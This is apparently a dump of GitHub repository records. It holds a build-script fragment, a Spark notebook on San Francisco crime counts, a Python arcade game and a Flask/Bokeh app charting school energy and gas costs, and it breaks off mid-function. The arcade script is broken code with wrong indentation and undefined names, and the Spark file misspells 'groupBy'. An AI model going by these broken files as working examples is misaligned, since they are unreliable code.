./compile_test.log\", shell=True)\n call(\"trash bin/\" + test_option + \"_ekf_replay\", shell=True)\n\n call(MAIN_CXX + \" -DECL_STANDALONE -I./build/test_build/matrix-prefix/src/matrix -I../../ -I. -g -std=gnu++14 -o build/test_build/test/CMakeFiles/ECL_GTESTS.dir/test_EKF_replay_sym.cpp.o -c /home/ruoyu/workspace/numeric/ecl/test/test_EKF_replay_sym.cpp\", shell=True)\n\n call(MAIN_CXX + \" -g -rdynamic build/test_build/test/CMakeFiles/ECL_GTESTS.dir/test_EKF_replay_sym.cpp.o build/test_build/EKF/libecl_EKF.a build/test_build/test/sensor_simulator/libecl_sensor_sim.a build/test_build/test/test_helper/libecl_test_helper.a -lpthread build/test_build/EKF/libecl_EKF.a build/test_build/geo/libecl_geo.a build/test_build/geo_lookup/libecl_geo_lookup.a -o bin/\" + test_option + \"_ekf_replay\", shell=True)\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n\n \n"
}
] | 2 |
zexuchen93/San-Francisco-Crime-Analysis | https://github.com/zexuchen93/San-Francisco-Crime-Analysis | 0cce1e54aa4b40bff4e1db4b5b80334d88862a6f | cb8dedb69d073bb994e822b9b4b8f9378f17cde9 | 4651e13553d1e810c7b9aac11a9d25daa753fd02 | refs/heads/master | 2020-03-23T00:55:48.937409 | 2018-07-13T21:03:08 | 2018-07-13T21:03:08 | 140,892,643 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6514084339141846,
"alphanum_fraction": 0.6960093975067139,
"avg_line_length": 28.14285659790039,
"blob_id": "eaafc4125c960cee0223a3c23385b139cc51972b",
"content_id": "531eec076d72ad0f6846137e6864abb598936f54",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 852,
"license_type": "no_license",
"max_line_length": 130,
"num_lines": 28,
"path": "/spark hw1.py",
"repo_name": "zexuchen93/San-Francisco-Crime-Analysis",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Feb 19 01:43:24 2018\r\n\r\n@author: zexu chen\r\n\"\"\"\r\n\r\n# explore the dataset\r\nsf_data = sqlContext.read.format('csv').options(header='true', inferSchema='true').load('/FileStore/tables/sf_data.csv')\r\n\r\nsf_data.take(10)\r\n\r\nfrom pyspark.sql.functions import *\r\nfrom pyspark.sql.types import *\r\nsf_data.printSchema()\r\nsf_data.show()\r\n\r\n#Q1: number of crimes for different category\r\nsf_data.groupBY(\"Category\").count().show()\r\n\r\n#Q2: number of crimes for different district\r\nsf_data.groupBy(\"PdDistrict\").count().show()\r\n\r\n#Q3: number of crimes each sunday at SF downtown\r\n#register the dataframe as a SQL temporary view\r\nsf_data.createOrReplaceTempView(\"SD\")\r\nanswer1 = spark.sql(\"SELECT * FROM SD WHERE DayOfWeek = 'Sunday' AND X BETWEEN -122.44 AND -122.42 AND Y BETWEEN 37.74 AND 37.76\")\r\nanswer1.count()\r\n\r\n\r\n\r\n\r\n"
},
{
"alpha_fraction": 0.8064516186714172,
"alphanum_fraction": 0.8064516186714172,
"avg_line_length": 30,
"blob_id": "9a8f4d9fb004d8c90bbedce0a191b6b0c08c1fa0",
"content_id": "0063dac4720e51a4ce40211d1ff1625686eeb4b2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 31,
"license_type": "no_license",
"max_line_length": 30,
"num_lines": 1,
"path": "/README.md",
"repo_name": "zexuchen93/San-Francisco-Crime-Analysis",
"src_encoding": "UTF-8",
"text": "# San-Francisco-Crime-Analysis\n"
}
] | 2 |
WoshoForegun/Bad-Program | https://github.com/WoshoForegun/Bad-Program | 28568e1b3fbb2b0019d635ed49019dcf82c6e801 | 2542a0d9d3b31fe3705d33788f8263e6c45ec088 | 565e394b7619a1644196643872344a8a896c6445 | refs/heads/master | 2023-07-13T19:12:23.429219 | 2021-08-27T18:08:39 | 2021-08-27T18:08:39 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5971618890762329,
"alphanum_fraction": 0.6240949630737305,
"avg_line_length": 36.27777862548828,
"blob_id": "e18ab71299c61849d048373c29a498d5838619d3",
"content_id": "3ad56d149d15482fe88c15ecd770c0e86c062eeb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3453,
"license_type": "no_license",
"max_line_length": 130,
"num_lines": 90,
"path": "/okay.py",
"repo_name": "WoshoForegun/Bad-Program",
"src_encoding": "UTF-8",
"text": "import arcade\nSCREEN_WIDTH = 600\nSCREEN_HEIGHT = 600\narcade.open_window(SCREEN_WIDTH, SCREEN_HEIGHT, \"Drawing Example\")\narcade.set_background_color(arcade.color.WHITE)\narcade.start_render()\nx = 300\ny = 300\nradius = 200\narcade.draw_circle_filled(x, y, radius, arcade.color.YELLOW)\nx = 370\ny = 300\nradius = 200\narcade.draw_circle_filled(x, y, radius, arcade.color.BLACK)\nx = 230\ny = 350\nradius = 20\narcade.draw_circle_filled(x, y, radius, arcade.color.BLACK)\nx = 300\ny = 280\nwidth = 120\nheight = 100\nstart_angle = 190\nend_angle = 350\narcade.draw_arc_outline(x, y, width, height, arcade.color.BLACK, start_angle, end_angle, 10)\narcade.finish_render()\narcade.run()\ndef draw_pine_tree(x, y):\n arcade.draw_triangle_filled(x + 40, y, x, y - 100, x + 80, y - 100, arcade.color.DARK_GREEN)\n arcade.draw_lrtb_rectangle_filled(x + 30, x + 50, y - 100, y - 140, arcade.color.DARK_BROWN)\n SCREEN_WIDTH = 800\nSCREEN_HEIGHT = 600\nclass MyGame(arcade.Window):\n def __init__(self, width, height):\n super().__init__(width, height)\n arcade.set_background_color(arcade.color.AMAZON)\n def setup(self):\n pass\n def on_draw(self):\n arcade.start_render()\n def update(self, delta_time):\n pass\ndef main():\n game = MyGame(SCREEN_WIDTH, SCREEN_HEIGHT)\n game.setup()\narcade.run()\nif __name__ == \"__main__\":\n main() \n SPRITE_SCALING_COIN = 0.2\n coin = arcade.Sprite(\"coin_01.png\", SPRITE_SCALING_COIN)\n def setup(self):\n self.player_list = arcade.SpriteList()\nself.coin_list = arcade.SpriteList()\nself.score = 0\nself.player_sprite = arcade.Sprite(\"images/character.png\", SPRITE_SCALING_PLAYER)\nself.player_sprite.center_x = 50\nself.player_sprite.center_y = 50\nself.player_list.append(self.player_sprite)\nfor i in range(COIN_COUNT):\n coin = arcade.Sprite(\"images/coin_01.png\", SPRITE_SCALING_COIN)\n coin.center_x = random.randrange(SCREEN_WIDTH)\n coin.center_y = random.randrange(SCREEN_HEIGHT)\n self.coin_list.append(coin)\n def on_draw(self):\n arcade.start_render()\n self.coin_list.draw()\n self.player_list.draw()\ndef update(self, delta_time):\n coins_hit_list = arcade.check_for_collision_with_list(self.player_sprite, self.coin_list)\n for coin in coins_hit_list:\n coin.kill()\n self.score += 1\n self.physics_engine = arcade.PhysicsEngineSimple(self.player_sprite, self.wall_list)\n MOVEMENT_SPEED = 5\n if key == arcade.key.UP:\n self.player_sprite.change_y = MOVEMENT_SPEED\n elif key == arcade.key.DOWN:\n self.player_sprite.change_y = -MOVEMENT_SPEED\n elif key == arcade.key.LEFT:\n self.player_sprite.change_x = -MOVEMENT_SPEED\n elif key == arcade.key.RIGHT:\n self.player_sprite.change_x = MOVEMENT_SPEED\n def on_key_release(self, key, modifiers):\n if key == arcade.key.UP or key == arcade.key.DOWN:\n self.player_sprite.change_y = 0\n elif key == arcade.key.LEFT or key == arcade.key.RIGHT:\n self.player_sprite.change_x = 0\n def update(self, delta_time):\n self.physics_engine.update()\n self.physics_engine = arcade.PhysicsEnginePlatformer(self.player_sprite, self.wall_list, gravity_constant=GRAVITY)\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n "
}
] | 1 |
Naatoo/energy-visualization | https://github.com/Naatoo/energy-visualization | b80aec73790949f284dcf83c4f5b89fd75a43344 | 23b013a50bbaae67d7b4d1a2ff3ad00b7e04e209 | 149887644c32521b505709e234e32f0264fc1105 | refs/heads/master | 2022-12-13T05:11:16.464112 | 2019-01-16T00:13:45 | 2019-01-16T00:13:45 | 161,911,403 | 3 | 0 | null | 2018-12-15T14:13:20 | 2022-06-26T15:42:27 | 2022-12-08T01:28:58 | Python | [
{
"alpha_fraction": 0.4615384638309479,
"alphanum_fraction": 0.6897435784339905,
"avg_line_length": 14.600000381469727,
"blob_id": "83b095f5dde6a1477dc697710e4a2ab72e634ad7",
"content_id": "5535a410c098ba1da84b5a4e4eebf82351c700ea",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 390,
"license_type": "no_license",
"max_line_length": 23,
"num_lines": 25,
"path": "/requirements.txt",
"repo_name": "Naatoo/energy-visualization",
"src_encoding": "UTF-8",
"text": "bokeh==1.0.4\ncertifi==2018.11.29\nchardet==3.0.4\nClick==7.0\nFlask==1.0.2\nFlask-SQLAlchemy==2.3.2\nidna==2.8\nitsdangerous==1.1.0\nJinja2==2.10\nMarkupSafe==1.1.0\nnumpy==1.15.4\npackaging==18.0\npandas==0.20.1\nPillow==5.3.0\npyparsing==2.3.0\npython-dateutil==2.7.5\npytz==2018.7\nPyYAML==3.13\nrequests==2.21.0\nsix==1.12.0\nSQLAlchemy==1.2.14\ntornado==5.1.1\nurllib3==1.24.1\nWerkzeug==0.14.1\nxlrd==1.1.0\n"
},
{
"alpha_fraction": 0.7211538553237915,
"alphanum_fraction": 0.7211538553237915,
"avg_line_length": 13.857142448425293,
"blob_id": "5c12dfe52258dd993362ac3ffd441be6c76fc34b",
"content_id": "2f1d29ae1c9ddee80fef0392c53ed16f98418be2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 104,
"license_type": "no_license",
"max_line_length": 39,
"num_lines": 7,
"path": "/app/data_crud/__init__.py",
"repo_name": "Naatoo/energy-visualization",
"src_encoding": "UTF-8",
"text": "from flask import Blueprint\n\n\ndata = Blueprint('data_crud', __name__)\n\n\nfrom app.data_crud import views\n"
},
{
"alpha_fraction": 0.607011079788208,
"alphanum_fraction": 0.607011079788208,
"avg_line_length": 40.69230651855469,
"blob_id": "6130b581961882d3bb6e340f9403e6e6c7d5f59f",
"content_id": "d582c2989971c99582e501770ed2baca34f7d11b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1084,
"license_type": "no_license",
"max_line_length": 103,
"num_lines": 26,
"path": "/app/models.py",
"repo_name": "Naatoo/energy-visualization",
"src_encoding": "UTF-8",
"text": "from database import db\n\n\nclass Energy(db.Model):\n building = db.Column(db.String, primary_key=True)\n year = db.Column(db.Integer, primary_key=True)\n month = db.Column(db.Integer, primary_key=True)\n quantity = db.Column(db.Integer, unique=False)\n consumption_price = db.Column(db.Float, unique=False)\n transmission_price = db.Column(db.Float, unique=False)\n\n def __repr__(self):\n return '{} Energy {}.{} quantity={}'.format('School' if self.building == 'SCH' else 'Workshop',\n self.year, self.month, self.quantity)\n\n\nclass Gas(db.Model):\n building = db.Column(db.String, primary_key=True)\n year = db.Column(db.Integer, primary_key=True)\n month = db.Column(db.Integer, primary_key=True)\n quantity = db.Column(db.Integer, unique=False)\n price = db.Column(db.Float, unique=False)\n\n def __repr__(self):\n return '{} Gas {}.{} quantity={}'.format('School' if self.building == 'SCH' else 'Workshop',\n self.year, self.month, self.quantity)\n"
},
{
"alpha_fraction": 0.5800438523292542,
"alphanum_fraction": 0.6058114171028137,
"avg_line_length": 37.02083206176758,
"blob_id": "f76aa5cd2f4e0e31fce45288c5a82eb71a88e923",
"content_id": "5971c38cc7e665b6305f5b49e364b996e7940b08",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1828,
"license_type": "no_license",
"max_line_length": 122,
"num_lines": 48,
"path": "/app/analyse/plots_generation/surface_chart.py",
"repo_name": "Naatoo/energy-visualization",
"src_encoding": "UTF-8",
"text": "from math import pi\n\nimport pandas as pd\nfrom bokeh.models import LinearColorMapper, ColorBar, BasicTicker\nfrom bokeh.plotting import figure\n\n\ndef generate_surface_chart(data: dict, title: str):\n data = pd.DataFrame(data)\n data['Year'] = data['Year'].astype(str)\n data = data.set_index('Year')\n data.columns.name = 'Month'\n\n years = list(data.index)\n months = list(data.columns)\n\n df = pd.DataFrame(data.stack(), columns=['rate']).reset_index()\n\n colors = [\"#75968f\", \"#a5bab7\", \"#c9d9d3\", \"#e2e2e2\", \"#dfccce\", \"#ddb7b1\", \"#cc7878\", \"#933b41\", \"#550b1d\"]\n mapper = LinearColorMapper(palette=colors, low=df.rate.min(), high=df.rate.max())\n\n TOOLS = \"hover,save,pan,box_zoom,reset,wheel_zoom\"\n\n p = figure(title=title,\n y_range=years, x_range=list(reversed(months)),\n x_axis_location=\"above\", plot_width=900, plot_height=400,\n tools=TOOLS, toolbar_location='below', tooltips=[('Miesiąc', '@Month @Year'), ('Koszt', '@rate{0.00} zł')])\n\n p.grid.grid_line_color = None\n p.axis.axis_line_color = None\n p.axis.major_tick_line_color = None\n # p.axis.major_label_text_font_size = \"5pt\"\n p.axis.major_label_standoff = 0\n p.xaxis.major_label_orientation = pi / 3\n\n p.rect(y=\"Year\", x=\"Month\", width=1, height=1,\n source=df,\n fill_color={'field': 'rate', 'transform': mapper},\n line_color=None)\n\n color_bar = ColorBar(color_mapper=mapper, title='Koszt [zł]',\n # major_label_text_font_size=\"5pt\",\n ticker=BasicTicker(desired_num_ticks=len(colors)),\n # formatter=PrintfTickFormatter(format=\"%d zł\"),\n label_standoff=12, border_line_color=None, location=(0, 0))\n p.add_layout(color_bar, 'right')\n\n return p"
},
{
"alpha_fraction": 0.565931499004364,
"alphanum_fraction": 0.5668700337409973,
"avg_line_length": 38.46296310424805,
"blob_id": "5afdc909eb5048474ec9976fc731027fab8de66b",
"content_id": "55488793f9b052fd30f46f7ba30a55ef74422c72",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2131,
"license_type": "no_license",
"max_line_length": 110,
"num_lines": 54,
"path": "/app/__init__.py",
"repo_name": "Naatoo/energy-visualization",
"src_encoding": "UTF-8",
"text": "import os\nimport pandas\nfrom flask import Flask\nfrom flask_bootstrap import Bootstrap\n\nfrom .analyse import analyse as analyse_blueprint\nfrom .data_crud import data as data_blueprint\nfrom app.models import Gas, Energy\nfrom database import db\n\n\ndef create_app():\n app = Flask(__name__)\n app.config['DEBUG'] = True\n app.config['SQLALCHEMY_DATABASE_URI'] = \"sqlite:///../main_data.db\"\n SECRET_KEY = os.urandom(32)\n app.config['SECRET_KEY'] = SECRET_KEY\n Bootstrap(app)\n db.init_app(app)\n app.register_blueprint(analyse_blueprint)\n app.register_blueprint(data_blueprint)\n\n return app\n\n\ndef setup_database(app):\n with app.app_context():\n db.create_all()\n insert_initial_energy_data()\n insert_initial_gas_data()\n\n\ndef insert_initial_energy_data():\n for name in 'school', 'workshop':\n data = pandas.read_excel('app/initial_data/{}_energy.xlsx'.format(name)).to_dict('list')\n\n for year, month, quantity, consumption_price, transmission_price in zip(data['year'], data['month'],\n data['quantity'],\n data['consumption_price'],\n data['transmission_price']):\n db.session.add(Energy(year=year, month=month, quantity=quantity,\n consumption_price=consumption_price, transmission_price=transmission_price,\n building='SCH' if name == 'school' else 'WOR'))\n db.session.commit()\n\n\ndef insert_initial_gas_data():\n for name in 'school', 'workshop':\n data = pandas.read_excel('app/initial_data/{}_gas.xlsx'.format(name)).to_dict('list')\n\n for year, month, quantity, price in zip(data['year'], data['month'], data['quantity'], data['price']):\n db.session.add(Gas(year=year, month=month, quantity=quantity, price=price,\n building='SCH' if name == 'school' else 'WOR'))\n db.session.commit()\n"
},
{
"alpha_fraction": 0.6180904507637024,
"alphanum_fraction": 0.6180904507637024,
"avg_line_length": 17,
"blob_id": "5d5f9678fea80b764d1367368f6261f4eb713d5c",
"content_id": "a5e472c1775eec646862374f97eac8461e93a564",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 199,
"license_type": "no_license",
"max_line_length": 42,
"num_lines": 11,
"path": "/run.py",
"repo_name": "Naatoo/energy-visualization",
"src_encoding": "UTF-8",
"text": "import os\n\nfrom app import create_app, setup_database\n\napp = create_app()\n\n\nif __name__ == '__main__':\n if not os.path.isfile('main_data.db'):\n setup_database(app)\n app.run(debug=True)\n\n"
},
{
"alpha_fraction": 0.6772727370262146,
"alphanum_fraction": 0.6818181872367859,
"avg_line_length": 28.33333396911621,
"blob_id": "fd7c84c0c727737910ab2a653dde1a5be7e94350",
"content_id": "163b15429df43f90bd23ab74c7a99adcd20b47bd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 880,
"license_type": "no_license",
"max_line_length": 103,
"num_lines": 30,
"path": "/app/analyse/views.py",
"repo_name": "Naatoo/energy-visualization",
"src_encoding": "UTF-8",
"text": "from flask import request, render_template\n\nfrom app.analyse import analyse\nfrom app.analyse.forms import ChartForm\nfrom app.analyse.chart_tool import ChartTool\nfrom bokeh.embed import components\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef show():\n \"\"\"\n Handle requests to the /show route\n Displays chart based on form\n \"\"\"\n\n form = ChartForm()\n building = 'SCH'\n year = 2017\n energy_type = 'energy'\n chart_type = 'Column'\n if form.validate_on_submit():\n year = form.year.data\n building = form.building.data\n energy_type = form.energy_type.data\n chart_type = form.chart_type.data\n\n chart = ChartTool(building=building, interval=year, energy_type=energy_type, chart_type=chart_type)\n script, div = components(chart.plot)\n\n return render_template(\"analyse.html\", the_div=div, the_script=script, form=form)\n"
},
{
"alpha_fraction": 0.737864077091217,
"alphanum_fraction": 0.737864077091217,
"avg_line_length": 13.714285850524902,
"blob_id": "3e18c05db369037c35ea0e48a50ba1a49dcf2dd4",
"content_id": "469c0a329af21d5e2d97f14472406dd6fa9cf80e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 103,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 7,
"path": "/app/analyse/__init__.py",
"repo_name": "Naatoo/energy-visualization",
"src_encoding": "UTF-8",
"text": "from flask import Blueprint\n\n\nanalyse = Blueprint('analyse', __name__)\n\n\nfrom app.analyse import views\n"
},
{
"alpha_fraction": 0.581882655620575,
"alphanum_fraction": 0.5944551825523376,
"avg_line_length": 40.91891860961914,
"blob_id": "f8183c2eca81411ad79a8c15f67e65b7609a5777",
"content_id": "24e42fa0dea6a5f86803de8a69c90a3339381d97",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3105,
"license_type": "no_license",
"max_line_length": 120,
"num_lines": 74,
"path": "/app/analyse/plots_generation/column_line_chart.py",
"repo_name": "Naatoo/energy-visualization",
"src_encoding": "UTF-8",
"text": "import json\n\nfrom bokeh.models import HoverTool\nfrom bokeh.models import ColumnDataSource, LinearAxis, Grid\nfrom bokeh.plotting import figure\nfrom bokeh.models import Legend, LegendItem\n\nfrom app.tools.global_paths import TRANSLATIONS_FILE\n\n\ndef generate_stacked_chart(data: dict, text: dict, width=1200, height=800, chart_type: str = 'Column'):\n months = data['months']\n energy_types = [key for key in sorted(data.keys()) if key != \"months\"]\n if len(energy_types) == 2:\n colors = [\"red\", \"green\"]\n elif len(energy_types) == 4:\n colors = [\"orange\", \"red\", \"blue\", \"green\"]\n else:\n colors = ['red']\n\n tools = [\"pan\", \"wheel_zoom,save,reset\"]\n\n plot = figure(title=text['title'], x_range=months, plot_height=height, plot_width=width, h_symmetry=False,\n v_symmetry=False,\n min_border=0, toolbar_location=\"above\", tools=tools, sizing_mode='scale_width',\n outline_line_color=\"#666666\", active_scroll='wheel_zoom', active_drag='pan')\n if chart_type == 'Column':\n source = ColumnDataSource(data)\n renderers = plot.vbar_stack(energy_types, x='months', width=0.8, color=colors, source=source,\n legend=[item for item in text['legend']] if text.get('legend') else None)\n\n for r in renderers:\n item = r.name\n tooltips = [\n (\"Koszt: \", \"@%s{0.00} zł\" % item),\n (\"Miesiąc: \", \"@months\")]\n if text.get(\"tooltip\", None):\n additional_tooltips = [\n (\"{}: \".format(text[\"tooltip\"][\"energy_type\"][\"label\"]), text[\"tooltip\"][\"energy_type\"][\"value\"]),\n (\"{}: \".format(text[\"tooltip\"][\"building\"][\"label\"]), text[\"tooltip\"][\"building\"][\"value\"])]\n for t in additional_tooltips:\n tooltips.insert(0, t)\n hover = HoverTool(tooltips=tooltips, renderers=[r])\n plot.add_tools(hover)\n\n elif chart_type == 'Line':\n r = plot.multi_line([[month for month in months] for item in energy_types],\n [data[type_energy] for type_energy in energy_types], color=colors, line_width=4)\n if text.get('legend', None):\n legend = Legend(\n items=[LegendItem(label=item, renderers=[r], index=index) for index, item in enumerate(text['legend'])])\n\n plot.add_layout(legend)\n\n xaxis = LinearAxis()\n yaxis = LinearAxis()\n plot.add_layout(Grid(dimension=0, ticker=xaxis.ticker))\n plot.add_layout(Grid(dimension=1, ticker=yaxis.ticker))\n plot.title.text_font_size = '12pt'\n plot.toolbar.logo = None\n plot.min_border_top = 0\n plot.xgrid.grid_line_color = None\n plot.ygrid.grid_line_color = \"#999999\"\n plot.yaxis.axis_label = text['title']\n plot.ygrid.grid_line_alpha = 0.1\n plot.xaxis.axis_label = \"Miesiąc\"\n plot.xaxis.axis_label_text_font_size = \"11pt\"\n plot.xaxis.major_label_orientation = 1\n return plot\n\n\ndef get_translations():\n with open(TRANSLATIONS_FILE) as f:\n return json.loads(f.read())\n"
},
{
"alpha_fraction": 0.6554622054100037,
"alphanum_fraction": 0.6596638560295105,
"avg_line_length": 42.272727966308594,
"blob_id": "d56fb14b2fbd4e7a74316c11ede40574ede37512",
"content_id": "c33e78e2e257a9d07b000c68da22797f2d6c357f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 952,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 22,
"path": "/app/data_crud/prepare_data.py",
"repo_name": "Naatoo/energy-visualization",
"src_encoding": "UTF-8",
"text": "import json\n\nfrom app.models import Energy, Gas\nfrom app.tools.global_paths import MONTHS_NAMES_FILE, BUILDINGS_NAMES_POLISH_FILE\n\n\ndef get_data(type_choice):\n with open(MONTHS_NAMES_FILE) as f:\n months_names_mapping = json.loads(f.read())\n\n with open(BUILDINGS_NAMES_POLISH_FILE) as f:\n buildings_names = json.loads(f.read())\n\n if type_choice == 'energy':\n rows = Energy.query.order_by(Energy.year.desc(), Energy.month.desc()).limit(10).all()\n data = [[row.year, months_names_mapping[str(row.month)], buildings_names[row.building],\n row.quantity, row.consumption_price, row.transmission_price] for row in rows]\n elif type_choice == 'gas':\n rows = Gas.query.order_by(Gas.year.desc(), Gas.month.desc()).limit(10).all()\n data = [[row.year, months_names_mapping[str(row.month)], buildings_names[row.building],\n row.quantity, row.price] for row in rows]\n return data\n"
},
{
"alpha_fraction": 0.75,
"alphanum_fraction": 0.75,
"avg_line_length": 41.400001525878906,
"blob_id": "c2a48a8ed40b1ee3ff5e3ca9b3a8168b67cd723e",
"content_id": "64e6e80dc9dc2f9048795c5e0cc74c4602583e8e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 424,
"license_type": "no_license",
"max_line_length": 86,
"num_lines": 10,
"path": "/app/tools/global_paths.py",
"repo_name": "Naatoo/energy-visualization",
"src_encoding": "UTF-8",
"text": "import os\nfrom pathlib import Path\n\n\nMAIN_DIR = str(Path(__file__).parent.parent)\nMAPPING_DIR = os.path.join(MAIN_DIR, \"mapping/\")\nMONTHS_NAMES_FILE = os.path.join(MAPPING_DIR, \"months_names.json\")\nBUILDINGS_NAMES_POLISH_FILE = os.path.join(MAPPING_DIR, \"buildings_names_polish.json\")\nBUILDINGS_CODE_FILE = os.path.join(MAPPING_DIR, \"buildings_codes.json\")\nTRANSLATIONS_FILE = os.path.join(MAPPING_DIR, \"translations.json\")\n"
},
{
"alpha_fraction": 0.42240116000175476,
"alphanum_fraction": 0.45168375968933105,
"avg_line_length": 55.91666793823242,
"blob_id": "d912f4a2a8469120e3fa07accabba4b9200af94f",
"content_id": "cd9388bc2f3ec148dd12c0f05049731002c304de",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1368,
"license_type": "no_license",
"max_line_length": 115,
"num_lines": 24,
"path": "/app/analyse/forms.py",
"repo_name": "Naatoo/energy-visualization",
"src_encoding": "UTF-8",
"text": "from flask_wtf import FlaskForm\nfrom wtforms import SubmitField, SelectField\nfrom wtforms.validators import DataRequired\n\n\nclass ChartForm(FlaskForm):\n \"\"\"\n Form for users to add new energy bill\n \"\"\"\n year = SelectField('Okres', validators=[DataRequired()], choices=[(\"2015\", \"2015\"), (\"2016\", \"2016\"),\n (\"2017\", \"2017\"), (\"2018\", \"2018\"),\n (\"2019\", \"2019\"), (\"All\", \"Wszystkie\"),\n ('Avarage', 'Średnia')])\n building = SelectField('Budynek', validators=[DataRequired()], choices=[(\"SCH\", \"Szkoła\"), (\"WOR\", \"Warsztat\"),\n (\"All\", \"Wszystkie\")])\n energy_type = SelectField('Rodzaj energii', validators=[DataRequired()],\n choices=[(\"energy\", \"Energia elektryczna\"), (\"gas\", \"Gaz\"),\n (\"All\", \"Wszystkie\")])\n chart_type = SelectField('Typ wykresu', validators=[DataRequired()],\n choices=[(\"Column\", \"Kolumnowy\"), (\"Line\", \"Liniowy\"),\n (\"Surface\", \"Powierzchniowy\")])\n submit = SubmitField('Wygeneruj wykres')\n\n # TODO: validators\n"
},
{
"alpha_fraction": 0.5158942341804504,
"alphanum_fraction": 0.5200769901275635,
"avg_line_length": 49.86808395385742,
"blob_id": "a74c7e1f37d3eb8e87bbca0264faf92de0782937",
"content_id": "c9493653ac0cf296f3913e24b9054d78d01836b3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 11955,
"license_type": "no_license",
"max_line_length": 165,
"num_lines": 235,
"path": "/app/analyse/chart_tool.py",
"repo_name": "Naatoo/energy-visualization",
"src_encoding": "UTF-8",
"text": "import json\nfrom collections import defaultdict, OrderedDict\nfrom statistics import mean\n\nfrom app.analyse.plots_generation.surface_chart import generate_surface_chart\nfrom app.models import Energy, Gas\nfrom app.tools.global_paths import MONTHS_NAMES_FILE\nfrom app.analyse.plots_generation.column_line_chart import generate_stacked_chart\nfrom app.tools.global_paths import TRANSLATIONS_FILE\n\n\nclass ChartTool:\n\n def __init__(self, building: str, interval: str, energy_type: str, chart_type: str):\n self.building = building\n self.interval = interval\n self.energy_type = energy_type\n self.chart_type = chart_type\n self.tra = self.get_translations()\n self.plot = self.handle_input()\n\n # TODO data for 2018\n\n def handle_input(self):\n if self.chart_type == 'Surface':\n title, data = self.get_data_surface()\n plot = generate_surface_chart(data, title)\n else:\n if self.energy_type != \"All\":\n if self.building != \"All\":\n text, data = self.get_single_data()\n else:\n text, data = self.get_all_building_types_data()\n else:\n if self.building != \"All\":\n text, data = self.get_all_energy_types_data()\n else:\n text, data = self.get_all_energy_types_all_building_types_data()\n if self.interval == 'Avarage':\n initial_title = text['title']\n final_title = self.tra['names_title']['avg'] + initial_title.replace(\"Avarage\", self.tra[\"names_title\"][\n \"All_years\"]).lower()\n text['title'] = final_title\n plot = generate_stacked_chart(data, text,\n chart_type=self.chart_type)\n return plot\n\n def get_data_surface(self):\n data = OrderedDict((self.months_names_mapping[str(month)], []) for month in reversed(range(1, 13)))\n data['Year'] = ['2015', '2016', '2017', '2018']\n if self.energy_type != \"All\":\n energy_types = [self.models_mapping(self.energy_type)]\n if self.building != \"All\":\n title = self.tra[\"title\"][\"single\"].format(\n energy_type=self.tra[\"names_title\"][self.energy_type],\n building=self.tra[\"names_title\"][self.building],\n interval=self.tra[\"names_title\"][\"All_years\"])\n buildings = [self.building]\n else:\n title = self.tra[\"title\"][\"both_buildings\"].format(\n energy_type=self.tra[\"names_title\"][self.energy_type],\n building_1=self.tra[\"names_title\"][\"SCH\"],\n building_2=self.tra[\"names_title\"][\"WOR\"],\n interval=self.tra[\"names_title\"][\"All_years\"])\n buildings = ['SCH', 'WOR']\n else:\n energy_types = [Energy, Gas]\n if self.building != \"All\":\n title = self.tra[\"title\"][\"both_mediums\"].format(\n energy_type_1=self.tra[\"names_title\"][\"energy\"],\n energy_type_2=self.tra[\"names_title\"][\"gas\"],\n building=self.tra[\"names_title\"][self.building],\n interval=self.tra[\"names_title\"][\"All_years\"])\n buildings = [self.building]\n else:\n title = self.tra[\"title\"][\"both_mediums_and_buildings\"].format(\n energy_type_1=self.tra[\"names_title\"][\"energy\"],\n energy_type_2=self.tra[\"names_title\"][\"gas\"],\n building_1=self.tra[\"names_title\"][\"SCH\"],\n building_2=self.tra[\"names_title\"][\"WOR\"],\n interval=self.tra[\"names_title\"][\"All_years\"])\n buildings = ['SCH', 'WOR']\n\n for model in energy_types:\n for building in buildings:\n for row in model.query.filter_by(building=building).all():\n if model == Energy:\n price = row.consumption_price if row.consumption_price is not None else 0 \\\n + row.transmission_price if row.transmission_price is not None else 0\n else:\n price = row.price\n if len(data[self.months_names_mapping[str(row.month)]]) != 4:\n data[self.months_names_mapping[str(row.month)]].append(price)\n else:\n data[self.months_names_mapping[str(row.month)]][data['Year'].index(str(row.year))] \\\n += price\n for k, quan in data.items():\n if len(quan) != len(data['Styczeń']):\n quan.append(0)\n data[k] = [r for r in reversed(data[k])]\n return title, data\n\n def get_data_column_line(self, filters: dict, energy_type: str = None):\n model = self.models_mapping(energy_type)\n months, prices = [], []\n if self.interval in [\"All\", \"Avarage\"] and 'year' in filters.keys():\n del filters['year']\n if self.interval == 'Avarage':\n price_def = defaultdict(list)\n for row in 